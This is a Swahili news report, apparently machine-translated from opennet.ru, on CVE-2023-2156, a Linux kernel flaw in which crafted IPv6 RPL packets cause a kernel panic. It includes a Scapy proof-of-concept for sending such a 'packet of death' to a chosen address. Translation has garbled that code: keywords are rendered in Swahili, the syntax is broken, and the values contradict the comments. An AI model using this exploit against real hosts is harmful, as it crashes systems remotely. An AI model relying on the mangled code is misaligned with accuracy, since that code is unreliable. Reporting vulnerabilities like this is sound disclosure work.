Maelezo ya udhaifu ambao haujarekebishwa (siku 0) (CVE-2023-2156) kwenye kiini yamefichuliwa. Linux, ambayo inaruhusu mfumo kusimamishwa kwa kutuma pakiti za IPv6 zilizotengenezwa maalum (pakiti ya kifo). Suala hili hutokea tu wakati wa kuwezesha usaidizi wa Itifaki ya Routing kwa Mitandao ya Nguvu ya Chini na Kupoteza (RPL), ambayo huzimwa kwa chaguo-msingi katika usambazaji na hutumika hasa kwenye vifaa vilivyopachikwa vinavyofanya kazi kwenye mitandao isiyotumia waya yenye upotevu mkubwa wa pakiti.
Athari hii inasababishwa na usindikaji usio sahihi wa data ya nje katika msimbo wa uchanganuzi wa itifaki ya RPL, ambayo husababisha kutofaulu kwa madai na punje kuingia katika hali ya hofu. Wakati wa kuweka data iliyopatikana kutokana na kuchanganua kichwa cha pakiti ya IPv6 RPL katika muundo wa k_buff (Socket Buffer), ikiwa uga wa CmprI umewekwa kuwa 15, uga wa Segleft hadi 1, na CmprE hadi 0, vekta ya 48-byte yenye anwani imepunguzwa. hadi ka 528 na inaonekana hali ambapo kumbukumbu iliyotengwa kwa ajili ya bafa haitoshi. Katika hali hii, skb_push chaguo za kukokotoa, zinazotumiwa kusukuma data kwenye muundo, hukagua kutoweza kulinganishwa kati ya ukubwa wa data na bafa, na hivyo kutoa hali ya hofu ili kuzuia uandishi zaidi ya mpaka wa bafa.
Mfano wa kutumia: # Tutatumia Scapy kutengeneza pakiti kutoka kwa scapy.all import * import socket # Tumia IPv6 kutoka kwa kiolesura chako cha LAN DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # Tunatumia soketi kutuma pakiti sockfd = soketi.soketi(tundu.AF_INET6, soketi.SOCK_RAW, soketi.IPPROTO_RAW) # Tengeneza pakiti # Aina = 3 hufanya hii kuwa pakiti ya RPL # Anwani zina anwani 3, lakini kwa sababu CmprI ni 15, # kila oktet ya anwani mbili za kwanza ni kutibiwa kama anwani iliyobanwa # Segleft = 1 ili kuanzisha ukuzaji # lastentry = 0xf0 huweka CmprI hadi 15 na CmprE hadi 0 p = IPv6(src=SRC_ADDR, dst=DST_ADDR) / IPv6ExtHdrSegmentRouting(aina=3, anwani:= :", "a8::", "a7::"], segleft=6, lastentry=1xf0) # Tuma pakiti hii ovu sockfd.sendto(bytes(p), (DST_ADDR, 0))
Ni muhimu kukumbuka kuwa watengenezaji wa kernel waliarifiwa juu ya hatari hiyo mnamo Januari 2022 na kwa muda wa miezi 15 iliyopita wamejaribu kurekebisha shida mara tatu, wakitoa viraka mnamo Septemba 2022, Oktoba 2022 na Aprili 2023, lakini kila wakati marekebisho yalikuwa. haitoshi na uwezekano wa kuathiriwa haukuweza kutolewa tena. Hatimaye, mradi wa ZDI, ambao uliratibu kazi ya kurekebisha uwezekano huo, uliamua kutoa maelezo ya kina kuhusu udhaifu huo bila kusubiri urekebishaji wa kufanya kazi upatikane kwenye kernel.
Kwa hivyo, udhaifu bado haujarekebishwa. Hasa, kiraka kilichojumuishwa kwenye kernel 6.4-rc2 hakifanyi kazi. Watumiaji wanashauriwa kuangalia ikiwa itifaki ya RPL haitumiki kwenye mifumo yao, ambayo inaweza kufanywa kwa kutumia amri sysctl -a | grep -i rpl_seg_imewezeshwa
Chanzo: opennet.ru
